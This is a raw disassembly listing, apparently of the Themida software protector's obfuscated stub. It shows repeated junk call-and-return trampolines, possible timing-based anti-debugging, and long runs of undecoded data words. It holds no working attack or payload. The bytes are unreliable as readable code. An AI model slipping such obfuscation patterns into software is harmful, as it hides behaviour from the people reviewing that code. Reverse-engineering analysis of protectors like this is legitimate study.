dd 718D8D07h, 6007FA1Dh, 1D09B589h, 8B6607FAh, 1C761DAh
dd 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5C4ADF
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4ADF proc near ; CODE XREF: Themida_:005C4AD7p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5C4ADF endp
; ---------------------------------------------------------------------------
db 0F0h
; ---------------------------------------------------------------------------
push ecx
mov [esi], esp
and edi, ebp
adc eax, 20F5B58Bh
cli
pop es
mov dword ptr [ecx+4], 0
cld
or eax, eax
jz loc_5C4B62
cmc
lea ecx, [ebp+7FA4F66h]
push 0
push esi
call sub_5C4B1E
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4B1E proc near ; CODE XREF: Themida_:005C4B16p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5C4B1E endp
; ---------------------------------------------------------------------------
dw 838Dh
dd 8166DAD7h, 817B0DC7h, 0D47087E6h, 5B816h, 8E80000h
dd 0BF000000h, 52543855h, 89F3864Fh, 0FA260D9Dh, 0E1FF5E07h
dd 5E9h, 2FBBFB00h
db 5, 29h
; ---------------------------------------------------------------------------
loc_5C4B62: ; CODE XREF: Themida_:005C4B06j
lea ecx, [ebp+7FA1D71h]
mov dword ptr [ecx], 54CA95A5h
push 0
push edi
call sub_5C4B79
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4B79 proc near ; CODE XREF: Themida_:005C4B71p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5C4B79 endp
; ---------------------------------------------------------------------------
db 97h, 0E8h, 2Ah
; ---------------------------------------------------------------------------
retf 0CF76h
; ---------------------------------------------------------------------------
or [ebx], cl
mov ebp, 7FA0B3Dh
add dword ptr [ecx], 1499CFCBh
or edi, 1BB8F949h
mov dword ptr [ecx+4], 0CE5F5969h
push 0
push ecx
call sub_5C4BB4
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4BB4 proc near ; CODE XREF: Themida_:005C4BACp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5C4BB4 endp
; ---------------------------------------------------------------------------
dd 3C2C1963h, 2F86C39Fh, 27BF36E6h, 8179AE1Bh, 0D7100441h
dd 6A31D6h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 6B2147C3h, 6AA0C2h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 0D1C35747h, 44AC80E1h, 9E9A5C8h
dd 8C000000h, 9A277F14h, 0CB4AEF94h, 1D71858Dh, 6A07FAh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 673DCEC3h, 52250A71h, 0BF66A776h, 6690AD37h, 50FD55BFh
dd 66605190h, 6C19DF81h, 0FF5F61F5h, 0FA1F2595h, 55BD3307h
dd 8D07FA16h, 0FA1D718Dh, 830F07h, 89000000h, 0FA11AD95h
dd 1C707h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 29A9C356h, 54A47BC1h, 441C7AEh
dd 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5C4CC3
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4CC3 proc near ; CODE XREF: Themida_:005C4CBBp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5C4CC3 endp
; ---------------------------------------------------------------------------
db 33h
; ---------------------------------------------------------------------------
retn 1F18h
; ---------------------------------------------------------------------------
db 0FEh
; ---------------------------------------------------------------------------
cmp eax, 338BE4D7h
movsx edi, di
or eax, eax
jz loc_5C4D50
push 0
push ecx
call sub_5C4CF3
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4CF3 proc near ; CODE XREF: Themida_:005C4CEBp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5C4CF3 endp
; ---------------------------------------------------------------------------
db 29h
; ---------------------------------------------------------------------------
jnb loc_5C4D10
mov [ebp+7FA279Dh], eax
loc_5C4D10: ; CODE XREF: Themida_:005C4D04j
lea ecx, [ebp+7FA4F66h]
mov [ebp+7FA2075h], esi
mov eax, 5
push 0
push edi
call sub_5C4D2C
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4D2C proc near ; CODE XREF: Themida_:005C4D24p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5C4D2C endp
; ---------------------------------------------------------------------------
dd 7D49A113h, 848AA61h, 0FBBF661Fh, 66E1FF43h, 8750DE81h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5C47E5
loc_5C4D50: ; CODE XREF: Themida_:005C47C5j
; sub_5C47E5+Ej ...
add ecx, edx
jmp loc_5C3EDB
; END OF FUNCTION CHUNK FOR sub_5C47E5
; ---------------------------------------------------------------------------
mov si, di
add esi, 396AC225h
loc_5C4D60: ; CODE XREF: Themida_:005C3ED6j
mov eax, ecx
push 0
push edx
call sub_5C4D6D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4D6D proc near ; CODE XREF: Themida_:005C4D65p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5C4D6D endp
; ---------------------------------------------------------------------------
jb short loc_5C4DE6
cmp al, 88h
mov dl, 0F5h
jmp short loc_5C4D89
; ---------------------------------------------------------------------------
align 4
db 0
; ---------------------------------------------------------------------------
loc_5C4D89: ; CODE XREF: Themida_:005C4D83j
push 0
push ecx
call sub_5C4D94
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4D94 proc near ; CODE XREF: Themida_:005C4D8Cp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5C4D94 endp
; ---------------------------------------------------------------------------
dd 0E387BBD3h, 7448463Bh, 0F8BF0FD1h, 24B1BD8Bh, 0BF6607FAh
dd 858D3993h, 7FA0199h, 11E9h, 39F7A400h, 0F2DD9Dh, 0ABEAC504h
dd 44AAB53Ah, 89509DBEh, 95892404h, 7FA1741h, 6A006Ah
db 50h, 0E8h
; ---------------------------------------------------------------------------
loc_5C4DE6: ; CODE XREF: Themida_:005C4D7Dj
add eax, [eax]
; ---------------------------------------------------------------------------
dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 9A19C9C3h, 0F4E3B2D6h, 6E8AA9Dh, 94000000h, 9F6EF9FCh
dd 0E68166C5h, 6A5E7B65h, 0BE900h, 4B850000h, 546A8DCAh
dd 87F8CB84h, 0E8858DD6h, 6A07FE1Ah, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0AD49C355h
dd 6605C083h, 50831BBFh, 489F28Bh, 6860F24h, 8B000000h
dd 0FA0EA9B5h, 6A006A07h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 850CC357h, 1CB9BD8Bh
dd 0B58B07FAh, 7FA103Dh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 0F75A98C3h, 0F37CC71Fh
dd 94EF8140h, 8902BB2Fh, 0FA011985h, 0E995FF07h, 6A07FA2Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 0C101C353h, 8DFEBF0Fh, 0FDD7119Dh, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 0DCDAAED5h, 0FF6B20F3h, 0C4D781D3h, 0FF0DBFC7h, 0FA104985h
dd 6870F07h, 29000000h, 0FA0219BDh, 7B3E907h, 0E80000h
dd 5D000000h, 1AF2ED81h, 6A07FEh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 41CB3BC3h, 0DF813874h
dd 63AB7862h, 719BD81h, 7D007FAh, 860F0000h, 115h, 0B319D09h
dd 5E807FAh, 0CF000000h, 0AF3F7B72h, 0F19D8B5Fh, 6A07FA2Eh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 3EFAC352h, 0ADAE3E24h, 0E381D3h, 8B000001h
dd 0FA0AE5BDh, 800F6007h, 6, 1B40C781h, 66600332h, 0B58BFB8Bh
dd 7FA1C29h, 0DB0B6161h, 8D850Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0CBFFF1C3h
dd 0BC8B0F35h, 791BD8Bh, 0BD8B07FAh, 7FA15C9h, 116DB58Bh
dd 0BD8307FAh, 7FE1944h, 2E840F00h, 0E9000000h, 57h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 88C35141h, 8EDA70B5h
dd 8BDC4205h, 0FA1E65B5h, 4485C707h, 107FE19h, 0F000000h
dd 0B589F3B7h, 7FA2441h, 16E9h, 91B58B00h, 0C707FA00h
dd 0FE194485h, 7, 0CD8D8900h, 8D07FA17h, 0FA2EF19Dh, 0FF238107h
dd 8BFFFFFEh, 0FA0009B5h, 0DB8C6607h, 0B4D9531h, 0C3F607FAh
dd 7E840F04h, 29000000h, 0FA24C595h, 0A595FF07h, 6A07FA10h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 0ABD9C356h, 0E850D583h, 13h, 3972F59Ah, 0FED82102h
dd 6B708C20h, 0D5F6F2C3h, 503297CAh, 0E8310F52h, 6, 0AFDA7364h
dd 5A5E3FDBh, 4895F58h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 0F1E8A44Fh, 730BE397h
dd 390E953h, 0EE810000h, 482EEC90h, 0FA8B00B0h, 71E470E6h
dd 467213BEh, 0D8B60F27h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 0FFC35343h, 0ABD99F92h, 6BAD583h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 0E8B6C355h, 8BC38B43h, 0FA2601BDh, 4E8C107h
dd 11E9h, 0D68A0B00h, 0D5A0DB22h, 0ABDB4BD4h, 493E19F5h
dd 0BD89D2CCh, 7FA3105h, 0BFE2F766h, 5701BCF6h, 1565BD89h
dd 0D82B07FAh, 6F1BD8Bh, 8B5007FAh, 241C89F3h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 71C35141h, 191027F5h
dd 4A9158C3h, 719B5FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 0C5DC34C3h, 0E8DC6972h
dd 14A1BD8Bh, 95FF07FAh, 7FA1019h, 5E9h, 24AA1500h, 0B054EAh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0DEC35646h
dd 0CDB5294Dh, 0F07FA1Ch, 70E6FEBFh, 8E8h, 8628DD00h, 0B0EC7376h
dd 29BD8B12h, 5E07FA0Eh, 816671E4h, 3C625AE6h, 43830F61h
dd 6A000002h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 4281C352h, 0F763400h, 6AD8B6h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0B7D4B1C3h, 6BAh, 15858900h, 8B07FA10h, 51006AC3h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 0C1850523h, 8F0F04E8h, 0
; ---------------------------------------------------------------------------
mul dx
sub si, 2ACBh
sub ebx, eax
push 0
push edx
call sub_5C52F1
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C52F1 proc near ; CODE XREF: Themida_:005C52E9p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5C52F1 endp
; ---------------------------------------------------------------------------
db 42h, 0CCh, 3Dh
dd 1EEEB8EDh, 8B0F8385h, 0FA1D6DB5h, 6A5807h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 5D1B2C3h
dd 6819D89h, 0D82B07FAh, 16C880Fh, 7B90000h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 41B3C353h, 4163238Ch, 663640DCh, 832F1BBFh
dd 0F98B00C1h, 860FD93Bh, 132h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 45C35343h, 8C660D48h, 53006AD9h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 0F625925Dh, 840F04C1h, 0E6h, 22EE8166h, 6E982h, 0EBD50000h
dd 32A5F084h, 10A595FFh, 6A07FAh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 346AEDC3h, 1DB4AC10h
dd 51BD8B19h, 5B07FA2Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 19h, 0C6C35343h, 99221C35h, 69BD8BFFh, 8107FA25h
dd 590E2DDEh, 0E8C32B79h, 0Dh, 750553D1h, 3F9DD382h, 167A5511h
dd 5952924h, 5E07FA34h, 8343Dh, 53860F00h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 0E132C357h, 8629D4A3h, 89F38BA5h, 0FA2E7D85h, 28E907h
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 7ACF98C3h, 22E7F1D8h, 0C08B2342h, 0C38BF08Bh
dd 6AD88Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 0D15D0DC3h, 8166B13Eh, 0C7A6B8F6h, 0FA0DA585h
dd 1FD97507h, 69BD8B77h, 8B07FA20h, 55006AC0h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 6493F3BDh
dd 932C795h, 0FA1CBD95h, 0E7EE8107h, 812EB708h, 0FA0719BDh
dd 7D007h, 29850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 3E7EC356h, 1985FF40h
dd 0BE07FA07h, 7B9196E9h, 719B5FFh, 6A07FAh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 831238C3h
dd 0B95B6032h, 8B1E30AAh, 0FA1131B5h, 2DBD8907h, 0FF07FA0Dh
dd 0FA101995h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1704h, 0C3534300h, 8AD7B348h, 12E890h, 0C44C0000h
dd 226F139Ah, 620DBD7Ah, 83A65B47h, 0F65802E6h, 6663F781h
dd 5EF5546Bh, 7BD78166h, 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1604h, 0C3574700h, 89AF5AA0h, 0FA0B1985h
dd 6830F07h, 8B000000h, 0FA0D4DBDh, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 91BD895Fh
dd 0F07FA1Dh, 0CE9FBB7h, 8E000000h, 0BC6AA5D8h, 0D0AAD96Ch
dd 814DD75Ch, 0BDE1F5F6h, 4DBD8B4Eh, 8B07FA10h, 0FA352DBDh
dd 0F9BD8B07h, 6A07FA0Dh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 0AD71C351h, 0EB0586Ch
dd 660ECE4Dh, 0FCE6BBEh, 68Fh, 0D0E68100h, 6A4AF2A2h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 0ECF3C355h, 2BA96030h, 6E9EDh, 311F0000h, 0B85AABCAh
dd 0FFF87DE9h, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 0FB0775Ch, 0C85h, 0C5BD8900h
dd 3107FA11h, 0FA0DBDB5h, 6AC18B07h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 430EC356h
dd 5C881676h, 0EB2F9C2Fh, 4, 0F1B70F00h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 19h, 0DDC35141h, 0A0F85E52h
dd 0F8BF0F08h, 199858Dh, 6A07FAh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 505EBAC3h, 0AB1A5531h
dd 0E860768Ah, 6, 5535E90Bh, 0C88A61C6h, 0C0A5B85Bh, 90616660h
dd 5820F51h, 0BE000000h, 2F5378DFh, 2990505Fh, 0FA2DA595h
dd 0F08B6607h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 6B026BC3h, 8B006AB5h, 0FA0DE5BDh
dd 0CE858D07h, 6A07FE24h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 85C4C356h, 0C9D53FC1h
dd 6B26C1FAh, 6A05C083h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 0DE19C356h, 683B7D8Bh
dd 71975F9Fh, 0AE9h, 77EE0300h, 924BCD82h, 500AC873h, 6A240489h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 5FC2C352h, 0FD135090h, 0CE27BE85h, 6A054Eh
dd 0EE8h, 0A36E7500h, 33712E7Bh, 0FC4DFF8h, 0F85979A0h
dd 60006A5Eh, 12E957h, 107B0000h, 0DD0F970Dh, 4D70DE3Ch
dd 4D371E90h, 0A7C15D7Dh, 8C0F6059h, 0
; ---------------------------------------------------------------------------
cmc
popa
popa
call dword ptr [ebp+7FA2BE9h]
push 0
push ebp
call sub_5C5890
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5890 proc near ; CODE XREF: Themida_:005C5888p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5C5890 endp
; ---------------------------------------------------------------------------
dd 0F09C4245h, 11E90Dh, 0FF6B0000h, 9AF4AA85h, 54839CE3h
dd 15D734FFh, 8D0AB2C7h, 0FDD7119Dh, 0D3FFF807h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 4C35747h, 0FA8B6626h
dd 104985FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 253DD4C3h, 7D64FBCBh, 0E933F2AEh
dd 804h, 0E8h, 0ED815D00h, 7FE24D8h, 2E5D9589h, 0BD8107FAh
dd 7FA0719h, 7D0h, 0F0860Fh, 0F88B0000h, 26199D8Bh, 816607FAh
dd 812BF3EFh, 100E3h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 8529A1E5h, 7FA0B45h, 850FDB0Bh
dd 71h, 13EE8166h, 76D78133h, 8368BB3Eh, 0FE22C8BDh, 840F0007h
dd 1Eh, 8519D29h, 58E907FAh, 0E9000000h, 0Eh, 86049BAh
dd 6F27BAA7h, 0EAD87DD6h, 85C786C0h, 7FE22C8h, 1, 0B25BD89h
dd 30E907FAh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 0F3AFC353h, 8BDB0685h
dd 0FA0549B5h, 0C885C707h, 7FE22h, 8D000000h, 0FA26199Dh
dd 0FF238107h, 0FFFFFFEh, 1F89h, 2FBE6000h, 0E8205DA2h
dd 12h, 7C5FBEF6h, 0E40604ABh, 0A39AA88h, 2DB9E47Dh, 6159A8B2h
dd 16C99529h, 8C6607FAh, 50006ADBh, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 2CC1407Dh, 1924844h, 0FA005985h
dd 4C3F607h, 59840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 226C6FC3h, 89B2D189h
dd 0FA316D8Dh, 11B50907h, 0FF07FA08h, 0FA10A595h, 358D2907h
dd 5007FA14h, 11E9h, 0C5398F00h, 8F9E7A0Dh, 0A54C3C8Bh
dd 7601A456h, 489A914h, 8DBD3324h, 0E907FA01h, 402h, 799ABE66h
dd 0B625BE66h, 0F78100B0h, 4042C94h, 6A70E6h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 6AE729C3h
dd 57375BE6h, 0BD895FF5h, 7FA1051h, 0F18B71E4h, 6AD8B60Fh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h
dd 42000000h, 8EE8C352h, 10E967EBh, 0FF000000h, 9573F525h
dd 0A3FCD63Ch, 388A2DC1h, 0BA947AE3h, 6, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 14h, 0D9C35646h, 8D29C38Bh
dd 7FA0755h, 8B04E8C1h, 0FA2721B5h, 0E2F76607h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 6CC35141h, 0D82BFCCCh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 4CC35040h
dd 58D0F50h, 0BF000000h, 7EA5445Ch, 0E9241C89h, 12h, 0FF980036h
dd 0EBE16AA8h, 93706450h, 0D8D3EF53h, 0B5FFA9F0h, 7FA0719h
dd 101995FFh, 0B70F07FAh, 6A00B0F7h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0CA9FC355h
dd 6A70E6h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 0ADA348C3h, 9BDA77B6h, 34B4BF50h, 0B58B66F5h
dd 7FA23D1h, 613C71E4h, 28C830Fh, 9D310000h, 7FA0CADh
dd 6AD8B60Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 0F91FC355h, 361803FFh, 6BA9F65h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 81F9C352h, 0C38BF08Bh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A2C35646h, 730097A8h
dd 0E8C1EDB6h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 9F59AD0Ch, 0BD349D06h
dd 6060FF97h, 29CBBF0Fh, 0FA0585BDh, 0B58B6107h, 7FA2EEDh
dd 0E2F76661h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 0D4C35141h, 2B10C97Bh, 8358353Ah, 0BD3160B0h, 7FA1539h
dd 0BE9h, 0E7C7F000h, 84301028h, 0BE4B4927h, 6AD82B61h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 2EF6C352h, 0BE37CE81h, 81523F0Dh, 23AF0DCFh
dd 2B585E07h, 67880FD8h, 6A000001h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 440CC356h
dd 0F5F839A8h, 0BD8960C8h, 7FA3231h, 0AE9h, 82F96800h
dd 93F0E22Fh, 61A7BCD3h, 80C941BFh, 7B90Dh, 0B58B0000h
dd 7FA08CDh, 6A00C183h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 0F46FC350h, 0FAC8C389h
dd 0D93B14FAh, 0F0860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 0E9447AC3h, 0Fh, 5E616961h
dd 0C959CFCDh, 0A86AE916h, 6617482Fh, 6AD98Ch, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 0E69B80C3h, 830FD7AAh, 1Bh, 14E8h, 1BDAF700h, 63F59562h
dd 4B3A79F3h, 0CDB8D251h, 314ABDF9h, 0F65EF80Fh, 840F04C1h
dd 64h, 20B98D89h, 8D0F07FAh, 6, 2F518D29h, 95FF07FAh
dd 7FA10A5h, 5BFABF0Fh, 9E9h, 9C7E200h, 83D80CB2h, 0C32BD130h
dd 2B69B58Bh, 343D07FAh, 0F000008h, 2786h, 69BD8900h, 0E907FA27h
dd 2Ah, 11850F60h, 0E9000000h, 0Ch, 9EA93D9h, 0EE56AFDFh
dd 773A5DECh, 61D7BF0Fh, 800FC08Bh, 6, 1D7D8D89h, 0C38B07FAh
dd 6AD88Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 0B52915C3h, 7FA2DC9h, 2EF185C7h, 57B307FAh
dd 8B535697h, 0FA0305B5h, 0C08B5E07h, 0E1B58B60h, 0F07FA00h
dd 28Fh, 615E5000h, 211DBD8Bh, 0BD8107FAh, 7FA0719h, 7D0h
dd 51850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 84B5B4C3h, 2F858529h, 8B6607FAh
dd 1985FFF2h, 6A07FA07h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 944EC351h, 1D7F0A73h
dd 0FF013762h, 0FA0719B5h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 8B30DBD2h
dd 0FA16E9B5h, 1995FF07h, 8907FA10h, 0FA0AE19Dh, 6A9007h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 60B014C3h, 68B0Fh, 858B0000h, 7FA2535h, 1C5AEF81h, 6A614316h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 406FC351h, 0B78F1C3h, 0BF660636h, 6060D321h
dd 8C0Fh, 61F80000h, 2820Fh, 5F500000h, 53006A61h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 8F0F60B3h, 15h, 10E9h, 10A5DE00h, 0A9071F37h, 293350F0h
dd 0FBB30C7Bh, 0BE61F54Ch, 6325210Ah, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 7EC35545h, 8BF1B4B0h, 6A8FEEh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 66E1FFC3h, 6E96092h, 0D2000000h, 974C2658h, 2BF98BD4h
dd 0FA0F59B5h
dd 6DE96107h, 6AFFFFF8h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 9431C356h, 8A0FA5DCh
dd 15h, 10E9h, 0F3C6F700h, 366A9772h, 0C683C607h, 14166A77h
dd 880F5209h, 6, 1539BD33h, 665F07FAh, 609DF3BFh, 2099BD29h
dd 840F07FAh, 14h, 233D958Bh, 9E907FAh, 29000000h, 0BAC7CDC6h
dd 8D62A347h, 61CA8B66h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 0B0D9C2C3h, 0A01E2319h
dd 1C298D89h, 0BF0F07FAh, 4EBFAh, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 91D4C357h, 32D78166h, 99858D70h, 6A07FA01h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 8D10C357h, 5090C548h, 8F32BE66h, 55006A90h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0DF2BF3B5h
dd 0FF6DBF66h, 8B66006Ah, 25CBFF1h, 6A2310h, 3515BD8Bh
dd 858D07FAh, 7FE2EEFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 0F7C35545h, 0C083E4F1h, 9DBD8B05h, 9007FA0Bh
dd 0C40F76BEh, 52505077h, 0EE8h, 58BBB600h, 7A743B19h
dd 2BE7201Fh, 50CC41F3h, 5A310F52h, 310F5F58h, 3190585Ah
dd 0FA07C98Dh, 6A006A07h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 39EC357h, 0FA16C9B5h
dd 6A006A07h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 0D0E8C351h, 2BE995FFh, 6A07FAh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
dd 48352AC3h, 3FE9C51Dh, 0E93A754Dh, 0Ch, 1FD8B817h, 0A01546BEh
dd 278E4C0Fh, 0D7119D8Dh, 6A07FDh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 8B572FC3h, 0FA0D7DBDh
dd 0B70F5E07h, 6AD3FFFFh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 0A33FC355h, 0BD233FDAh
dd 7FA1F39h, 1D259D89h, 0FE8B07FAh, 104985FFh, 6A07FAh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
